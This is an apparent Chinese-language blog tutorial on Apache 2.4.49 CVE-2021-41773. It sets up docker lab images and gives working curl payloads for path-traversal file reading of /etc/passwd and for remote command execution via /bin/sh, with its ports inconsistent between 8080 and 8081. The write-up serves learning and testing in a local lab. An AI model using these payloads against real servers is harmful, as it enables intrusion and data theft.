大家好,昨天针对 apache 2.4.49 版本的新 CVE-2021-41773 发布了。所以在这种情况下,我想讲解一下这个 apache 漏洞。
那么,我想你们可能想在网站上测试这个漏洞。所以我为你们准备了一个测试环境。 这是下载 apache 2.4.49 示例 docker 镜像的网站 Docker 镜像
注意:有两个镜像,分别是 with-cgid 和 no-cgid。你需要下载这两个镜像
首先在您的机器上下载 docker image。
no-cgid: sudo docker pull blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker pull blueteamsteve/cve-2021-41773:with-cgid
no-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid
老实说,我不知道他是怎么想到发现这个漏洞的。所以我无法完全解释这一点。但我会尽我所能讲解我对这个 CVE 的所有理解。
这个 CVE 有点意思,因为它包含两个漏洞。它们是 LFD本地文件泄露 和 RCE 远程代码执行。太酷了!那么,在本文中我将讲解这个 CVE 的这两个漏洞。
那么,让我们从本地文件泄露漏洞开始。如果你熟悉 apache,你会注意到 cgi-bin(通用网关接口) 是 apache-2.4.49 中的默认路径,用于定义 web 服务器与外部内容生成程序交互的方式
但是这个路径对所有人都是 Forbidden(禁止访问)的,甚至对管理员也是如此。嗯,这很有趣对吧?
如果你熟悉本地文件泄露漏洞,你可能知道大多数 LFD 漏洞都发生在禁止访问的路径中。
那么让我们在 /cgi-bin/ 路径中测试一些简单的 LFI payload。
我在 /etc/paswd 前面放了 ../../../../../。
(如果你想了解什么是 ../,请查看这篇博客文章本地文件泄露绕过)
用 curl:
curl http://localhost:8080/cgi-bin/../../../../../etc/passwd

用 burpsuite:

如你所见,使用这个简单的 payload 我们得到了错误。在 curl 中我们得到了 404 状态码 Not Found 错误,在 Burp 中我们得到了 400 Bad Request 错误。
所以这意味着,我们应该将 payload 进行 URL 编码。那么让我们试试看会得到什么。
所以我将 . 编码为 URL。 注意:在 URL 编码中,. 是 %2E,也是 %2e。
用 curl:
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

用 Burp:

是的!我们的 payload 现在起作用了。我们可以读取网站的 /etc/passwd 了。
所以我希望你现在已经理解了该 CVE 的 LFD 漏洞。那么,让我们继续讲解这个 apache 2.4.49 CVE 的 RCE 漏洞。
要讲解这个 CVE 的 RCE 漏洞,你需要了解一些 RCE 的基础知识和 linux 基础知识。
查看这篇博客文章了解 什么是 RCE
啊,我想你可能认为我说需要 linux 基础知识 是说错了。不,我没有说错,因为我们确实需要它。那么开始吧!
首先让我展示有效的 payload,然后我会解释它是如何工作的。
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;whoami'
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'
用 Curl:

那么让我解释一下这个 payload。
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'
如你所见,路径 /cgi-bin/ 和编码 .%2e 是一样的。但现在多了两个选项,分别是 -d 数据 和 /bin/sh /bin/bash。 那么,让我解释一下为什么我们需要添加这些。
首先,我们想要获得远程代码执行(remote-code-execution)对吧?
那么如你所知,在基于 linux 的系统中,/bin/bash 是执行和输入命令及 shell 的主要部分。所以我们需要 bash 来在 web 服务器上执行我们的命令。查看这篇文章什么是 linux 中的 Bash。
好的,现在假设我们可以获取到 /bin/sh。我们只需要注入我们的命令。我们可以用 curl 将注入内容作为数据(data)发送。
所以我们的 payload 是 C|echo;id。让我解释一下这是什么。
那么 C 什么都不是。我们可以在 | 之前放任何我们想要的内容,比如 Comdey|。
echo;id 只是一个 linux 技巧。所以,我说过需要 linux 基础知识 Echo 基础
如果我们把这些放在一起,我们就得到了 apache 2.4.49 中的 RCE。
感谢大家的阅读。这是我第一次写 CVE 的 writeup。如果我讲解得不好,请原谅我。也请给我一些建议。
